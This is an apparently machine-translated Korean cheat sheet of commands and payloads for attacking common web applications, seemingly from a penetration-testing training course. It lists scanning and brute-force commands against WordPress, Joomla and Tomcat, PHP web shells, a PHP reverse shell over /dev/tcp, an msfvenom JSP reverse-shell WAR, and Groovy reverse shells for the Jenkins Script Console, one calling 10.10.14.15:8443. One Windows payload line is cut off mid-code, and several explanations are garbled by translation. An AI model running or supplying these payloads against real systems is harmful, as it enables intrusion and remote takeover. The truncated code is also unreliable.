일반 애플리케이션 공격
sudo vim /etc/hosts
호스트 이름 추가를 시작하려면 /etc/hosts
다음 을 엽니다.vim
sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list
범위 목록( )을 기반으로 일반 웹 애플리케이션 포트를 사용하여 nmap 스캔을 실행하고 모든 형식( )의 파일( ) 로 scope_list
출력합니다 .web_discovery-oA
eyewitness --web -x web_discovery.xml -d <nameofdirectorytobecreated>
eyewitness
nmap 스캔으로 생성된 파일을 사용하여 실행하고 ( ) web_discovery.xml
디렉터리를 생성합니다( -d
)
cat web_discovery.xml | ./aquatone -nmap
nmap 스캔 출력(web_discovery.xml)의 내용을 연결하고 이를 aquatone( ./aquatone
)으로 파이프하는 동시에 aquatone이 해당 파일을 nmap 스캔 출력( -nmap
) 으로 인식하도록 합니다.
sudo wpscan --url <http://domainnameoripaddress> --enumerate
플래그를 사용하여 wpscan을 실행합니다 --enmuerate
. 각 챌린지에서 URL을 유효하고 연결 가능한 URL로 바꿀 수 있습니다.
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url <http://domainnameoripaddress>
wpscan을 실행하고 이를 사용하여 지정된 URL에 대해 비밀번호 공격을 수행하고( --password-attack
) 단어 목록을 참조합니다( /usr/share/wordlists/rockyou.txt
)
curl -s http://<hostnameoripoftargetsite/path/to/webshell.php?cmd=id
cmd=id
PHP 기반 웹쉘을 활용하는 취약한 시스템에서 명령( )을 실행하는 데 사용되는 cURL 명령
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip address of attack box>/<port of choice> 0>&1'");
Linux 기반 시스템에서 리버스 쉘을 실행하는 PHP 코드
droopescan scan joomla --url http://<domainnameoripaddress>
droopescan
지정된 URL에 있는 Joomla 사이트에 대해 실행됩니다 .
sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr <username or path to username list>
/usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
지정된 단어 목록( ) 및 사용자 또는 사용자 이름 목록( -usr
) 을 활용하여 지정된 URL에 대해 python3으로 joomla-brute.py 도구를 실행합니다.
<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>
취약한 드루팔 사이트에서 웹 셸 액세스를 허용하는 PHP 코드입니다. 저장 후 웹디렉토리에 있는 파일의 위치를 검색하여 이용 가능합니다. 컬을 활용하여 활용할 수도 있습니다. 다음 명령을 참조하세요.
curl -s <http://domainname or IP address of site> /node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">"
컬을 사용하여 PHP 웹 셸 파일로 이동하고 =id
대상에서 시스템 명령( ) 을 실행합니다.
gobuster dir -u <http://domainnameoripaddressofsite> -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
gobuster
단어 목록을 참조하는 전력 디렉토리 무차별 공격( /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
)
auxiliary/scanner/http/tomcat_mgr_login
Tomcat 사이트에 대해 무차별 로그인 공격을 수행하는 데 사용되는 유용한 Metasploit 스캐너 모듈
python3 mgr_brute.py -U <http://domainnameoripaddressofTomCatsite> -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
지정된 웹 사이트에 대해 python3을 사용하여 mgr_brute.py를 실행합니다. /manager 디렉터리( -P /manager
)에서 시작하고 지정된 사용자 또는 사용자 목록( -u
)과 지정된 비밀번호 또는 비밀번호 목록( -p
) 을 참조합니다.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip address of attack box> LPORT=<port to listen on to catch a shell> -f war > backup.war
다음을 활용하여 .war 파일 형식으로 jsp 기반 리버스 쉘 페이로드를 생성합니다.msfvenom
nmap -sV -p 8009,8080 <domainname or IP address of tomcat site>
Apache Tomcat 및 AJP 서비스를 열거하는 데 유용한 Nmap 스캔
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
Script Console
사이트에 대한 관리자 액세스로 작동할 수 있는 Groovy 기반 역방향 셸 페이로드/코드입니다 Jenkins
. 기본 OS가 Linux일 때 작동합니다.
def cmd = "cmd.exe /c dir".execute(); println("${cmd.text}");
Script Console
사이트에 대한 관리자 액세스와 함께 작동할 수 있는 Groovy 기반 페이로드/코드입니다 Jenkins
. 이렇게 하면 웹셸 액세스가 허용되고 기본 Windows 시스템에서 명령을 실행할 수 있습니다.
String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new So);
Script Console
사이트에 대한 관리자 액세스와 함께 작동할 수 있는 Groovy 기반 역방향 쉘 페이로드/코드입니다 Jenkins
. 기본 OS가 Windows일 때 작동합니다.
Windows 및 Linux 시스템에서 리버셸을 얻기 위한 간단한 Splunk 패키지
Last updated